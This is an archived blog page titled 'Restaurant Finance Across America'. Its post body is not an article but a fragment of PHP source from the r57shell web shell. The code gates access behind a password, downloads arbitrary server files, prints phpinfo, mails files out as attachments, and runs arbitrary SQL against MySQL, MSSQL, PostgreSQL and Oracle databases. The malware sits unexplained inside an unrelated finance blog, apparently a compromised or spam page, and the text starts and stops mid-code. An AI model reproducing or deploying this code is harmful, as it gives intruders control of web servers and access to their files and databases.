Restaurant Finance Across America
Archived postings from September, 2006...
Ten Times To Nowhere
Posted: Tue, September 26, 2006 at 1:10am (CDT)
$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_SERVER as $k=>$v)
{
$_SERVER[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
{
header('WWW-Authenticate: Basic realm="r57shell"');
header('HTTP/1.0 401 Unauthorized');
exit("r57shell : Access Denied");
}
}
$head = '
'; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(@mail($to,$subj,"",$headers)) { return 1; } return 0; } if(isset($_GET['img'])&&!empty($_GET['img'])) { $images = array(); $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; @ob_clean(); header("Content-type: image/gif"); echo base64_decode($images[$_GET['img']]); die(); } if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) { if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } else { @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
[ BACK ]
"; die(); } if ($_POST['cmd']=="db_query") { echo $head; switch($_POST['db']) { case 'MySQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query)." "; $res = @mysql_query($query,$db); $error = @mysql_error($db); if($error) { echo "
| Error : ".$error." |
"; } else { if (@mysql_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mysql_fetch_assoc($res))) { $keys = @implode(" ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode(" ",$values); $sql2 .= " ".$values." "; } echo ""; $sql = ""; $sql .= $sql2; echo $sql; echo "
| ".$keys." |
"; } else { if(($rows = @mysql_affected_rows($db))>=0) { echo "
| affected rows : ".$rows." |
"; } } } @mysql_free_result($res); } } @mysql_close($db); } else echo "
"; break; case 'MSSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query)." "; $res = @mssql_query($query,$db); if (@mssql_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mssql_fetch_assoc($res))) { $keys = @implode(" ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode(" ",$values); $sql2 .= " ".$values." "; } echo ""; $sql = ""; $sql .= $sql2; echo $sql; echo "
| ".$keys." |
"; } /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "
| affected rows : ".$rows." |
"; } else { echo "
| Error : ".$error." |
"; }} */ @mssql_free_result($res); } } @mssql_close($db); } else echo "
"; break; case 'PostgreSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; $db = @pg_connect($str); if($db) { $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query)." "; $res = @pg_query($db,$query); $error = @pg_errormessage($db); if($error) { echo "
| Error : ".$error." |
"; } else { if (@pg_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @pg_fetch_assoc($res))) { $keys = @implode(" ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode(" ",$values); $sql2 .= " ".$values." "; } echo ""; $sql = ""; $sql .= $sql2; echo $sql; echo "
| ".$keys." |
"; } else { if(($rows = @pg_affected_rows($res))>=0) { echo "
| affected rows : ".$rows." |
"; } } } @pg_free_result($res); } } @pg_close($db); } else echo "
"; break; case 'Oracle': $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); if(($error = @ocierror())) { echo "
"; } else { $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "Query#".$num." : ".htmlspecialchars($query)." "; $stat = @ociparse($db, $query); @ociexecute($stat); if(($error = @ocierror())) { echo "
| Error : ".$error['message']." |
"; } else { $rowcount = @ocirowcount($stat); if($rowcount != 0) {echo "
| affected rows : ".$rowcount." |
";} else { echo ""; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } echo ""; while(ocifetch($stat)) { echo ""; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } echo ""; } echo "
| ".htmlspecialchars(@ocicolumnname($stat, $j))." |
| ".htmlspecialchars(@ociresult($stat, $j))." |
"; } @ocifreestatement($stat); } } } @ocilogoff($db); } break; } echo "
...continue reading.


